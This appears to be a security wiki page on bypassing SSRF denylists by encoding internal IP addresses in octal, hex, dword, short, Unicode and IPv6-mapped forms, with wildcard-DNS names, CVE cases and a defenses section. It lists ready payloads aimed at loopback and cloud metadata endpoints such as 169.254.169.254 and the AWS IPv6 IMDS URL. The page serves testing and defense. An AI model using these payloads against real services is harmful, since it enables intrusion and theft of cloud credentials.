IP Address Encoding Bypasses

Defeating SSRF denylists that match the literal strings 127.0.0.1/localhost/169.254.169.254 by writing the same address in a form the filter doesn’t recognise but the HTTP client’s resolver still parses to the internal target.

How it works

inet_aton/getaddrinfo and most language resolvers accept far more than dotted-decimal: octal, hex, dword (dotless decimal), partial/short forms, and various IPv6 spellings all resolve to the same address. A naive filter regexes for a few canonical strings; the client normalises the exotic form and connects internally. The reliable classes of failure are (1) alternate numeric bases, (2) short/overflow forms, (3) IPv6 representations of IPv4 (mapped/compatible/NAT64), (4) wildcard-DNS names that resolve to an internal IP, and (5) parser libraries that misclassify a form as “public” (e.g. Node ip/is-localhost-ip). Always confirm which form the actual client resolves — the payload must survive the resolver, not just the regex.

Techniques / payloads

127.0.0.1 decomposes to 0x7f 00 00 01; dword = 127*2^24 + 1 = 2130706433. 192.168.0.1 = 3232235521.

Form127.0.0.1 exampleNotes
Dotted decimal (canonical)127.0.0.1baseline
Dword / dotless decimal2130706433192.168.0.1=3232235521, 192.168.1.1=3232235777; classic WAF bypass
Dotted octal0177.0.0.01leading-zero octets
Dotless octal017700000001
Octal w/ padding00000177.00000000.00000000.00000001arbitrary leading zeros
Dotted hex0x7f.0x0.0x0.0x1
Dotless hex0x7f000001192.168.0.20=0xc0a80014
Dotless hex w/ padding0x0a0b0c0d7f000001high padding ignored
Mixed bases0xA9.254.0251.0376hex+decimal+octal in one address
Partial / class-B merge169.254.43518third+fourth octet fused to one decimal → 169.254.169.254
Decimal overflow127.0.1.3, 383.256.256.257mod-256 wrap
Short form127.1, 127.0.1, 00 = localhost on Linux; 127.1 → 127.0.0.1
0.0.0.0http://0.0.0.0:80reaches loopback-bound services on Linux; often missed by 127.0.0.1 denylists
CIDR /8 spray127.127.127.127, 127.0.0.0any 127.x is loopback
Dot substitute (ideographic)127。0。0。1, 127%E3%80%820%E3%80%820%E3%80%821U+3002 。
Enclosed alphanumerics①②⑦.⓪.⓪.⓪, http://①②⑦.⓪.⓪.⓪Unicode block U+2460–24FF

IPv6 / IPv4-in-IPv6:

http://[::]:80/                 # all-zeros → localhost
http://[::1]/  http://[0000::1]:80/
http://[::ffff:127.0.0.1]       # IPv4-mapped (also [::ffff:7f00:1])
http://[::127.0.0.1]            # IPv4-compatible (deprecated, RFC 4291)
http://[0:0:0:0:0:ffff:127.0.0.1]/path
http://[fd00:ec2::254]/latest/meta-data/   # AWS IMDS over IPv6 (Nitro, if enabled)
http://[fe80::1%25eth0]/        # zone ID: %25-encoded, interface must exist ON the server (RFC 6874/9844)

Wildcard DNS / name-to-internal-IP (no attacker DNS server needed):

127.0.0.1.nip.io                 # <anything>.<ip>.nip.io → <ip>
example.com.127.0.0.1.nip.io     # also sslip.io
make-127-0-0-1-rr.1u.ms          # 1u.ms encodes the IP in the label
localtest.me / spoofed.burpcollaborator.net → 127.0.0.1
bugbounty.dod.network → 127.0.0.2 ; mail.ebc.apple.com → 127.0.0.6

For rebinding (public-then-private) see DNS Rebinding. Tooling: dwisiswant0/ipfuscator, Burp Burp-Encode-IP, recollapse for fuzzing filter edges.

Notable cases

  • CVE-2025-9960 is-localhost-ip 2.0.0 — misclassified IPv4-mapped IPv6 (::ffff:127.0.0.1) and some private/link-local ranges as localhost, inverting the trust check.
  • CVE-2024-29415 Node ip package — isPublic() returned true for short-form loopback and octal privates (127.1, 012.1.2.3), so public-only filters accepted internal targets.
  • DWORD WAF bypass (0xk4rim) — 127.0.0.1 → 2130706433 slipped past naive WAF IP filters on a bug-bounty target.

Defenses

  • Resolve the hostname, then validate the resulting binary IP against deny ranges — never string-match the URL. Normalise to a canonical in6/in4 representation first (parse with a real IP library, not a regex).
  • Block IPv4-mapped/compatible IPv6, NAT64 prefixes, 0.0.0.0, and the whole 127.0.0.0/8, 169.254.0.0/16, RFC 1918, and 100.64.0.0/10 ranges on both families. See SSRF Prevention.
  • Prefer an allowlist of resolved IPs; combine with DNS pinning (DNS Rebinding) and egress firewalling.

Sources